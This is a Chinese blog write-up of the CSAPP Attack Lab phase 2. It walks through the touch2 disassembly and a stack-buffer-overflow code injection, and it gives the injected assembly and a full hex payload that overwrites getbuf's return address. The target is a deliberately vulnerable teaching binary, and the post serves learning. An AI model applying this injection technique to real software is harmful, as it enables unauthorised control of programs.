CSAPP:Lab3 -AttackLab-Level2

1.实验任务

phase2需要我们注入一小段代码。来完成字符串漏洞攻击

touch2的代码如下

 void touch2(unsigned val)
 {  
     vlevel = 2; /* Part of validation protocol */ 
     if (val == cookie) {
         printf("Touch2!: You called touch2(0x%.8x)\n", val);
         validate(2);
     } else {
         printf("Misfire: You called touch2(0x%.8x)\n", val);
         fail(2);
     }
     exit(0);
 }

 本题的任务就是要我们在getbuf()之后直接ret到touch2()里面而不是继续执行test,大概任务目的和第一个基本一样,但是方式略有不同

 2.分析touch2()汇编代码

00000000004017ec <touch2>:
  4017ec:	48 83 ec 08          	sub    $0x8,%rsp
  4017f0:	89 fa                	mov    %edi,%edx
  4017f2:	c7 05 e0 2c 20 00 02 	movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>
  4017f9:	00 00 00 
  4017fc:	3b 3d e2 2c 20 00    	cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>
  401802:	75 20                	jne    401824 <touch2+0x38>
  401804:	be e8 30 40 00       	mov    $0x4030e8,%esi
  401809:	bf 01 00 00 00       	mov    $0x1,%edi
  40180e:	b8 00 00 00 00       	mov    $0x0,%eax
  401813:	e8 d8 f5 ff ff       	call   400df0 <__printf_chk@plt>
  401818:	bf 02 00 00 00       	mov    $0x2,%edi
  40181d:	e8 6b 04 00 00       	call   401c8d <validate>
  401822:	eb 1e                	jmp    401842 <touch2+0x56>
  401824:	be 10 31 40 00       	mov    $0x403110,%esi
  401829:	bf 01 00 00 00       	mov    $0x1,%edi
  40182e:	b8 00 00 00 00       	mov    $0x0,%eax
  401833:	e8 b8 f5 ff ff       	call   400df0 <__printf_chk@plt>
  401838:	bf 02 00 00 00       	mov    $0x2,%edi
  40183d:	e8 0d 05 00 00       	call   401d4f <fail>
  401842:	bf 00 00 00 00       	mov    $0x0,%edi
  401847:	e8 f4 f5 ff ff       	call   400e40 <exit@plt>

可以看到, 代码中第二行是获取参数(参数由调用函数通过%edi传入),第五行,通过指令0x202ce2(%rip),%edi,这里其实是用我们的参数值和cookie值进行比较,如果相等就通过了。

所以,level2解题的关键是,getbuf()返回时能转移到touch2(),并且在转移之前,把cookie的值mov到%rdi寄存器中,最后代码控制权ret到touch2()时就能正常向下执行了。

3.实现思路 

我们是利用缓冲区溢出攻击,容易想到,我们输入的字符串形成一段汇编代码,该代码如下,功能实现的即是我们想要的效果,修改%rdi寄存器的值,然后将touch2()的代码地址压栈,再弹栈,跳转到touch2()执行。

movq    $0x59b997fa, %rdi
pushq   $0x4017ec
ret

 我们需要将该断汇编代码,转变成字节序列

gcc -c ./level2.s

objdump -d level2.o

剩下的问题变成了,将该汇编代码字节序列放在什么位置。

同level1一样,利用缓冲区溢出,getbuf返回地址要修改,可以利用getbuf创建的40字节缓冲区,将栈顶地址即%rsp的内容,放到getbuf()的返回地址处,然后我们自己构造的三行汇编代码字节序列,放在%rsp栈顶位置处,当getbuf()返回时,返回到图中%rsp指示的位置,然后执行我们自己构造的汇编代码,该汇编代码跳转到touch2()执行。

查看getbuf()代码,我们要获取执行getbuf时的%rsp栈顶位置值。

如下图,再mov %rsp %rdi指令处打断点

查看此时$rsp寄存器内容

得到$rsp=0x5561dc78,构造输入文件(小端方式)

48 c7 c7 fa 97 b9 59 68    //构造的汇编代码
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00    //栈顶位置

4.测试

可以正常通过

补充一点,有些人问为什么要把栈顶位置放到getbuf()的返回地址处,%rsp还是个固定的值0x5561dc78,如果下一次程序运行,栈不在此处了怎么办。这里有一个前提条件,如下图,作者这里提到了,前三关,没有用到程序布局随机化技术(不然这个实验也没法做了),我们堆栈每次运行栈顶位置都是一致的。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值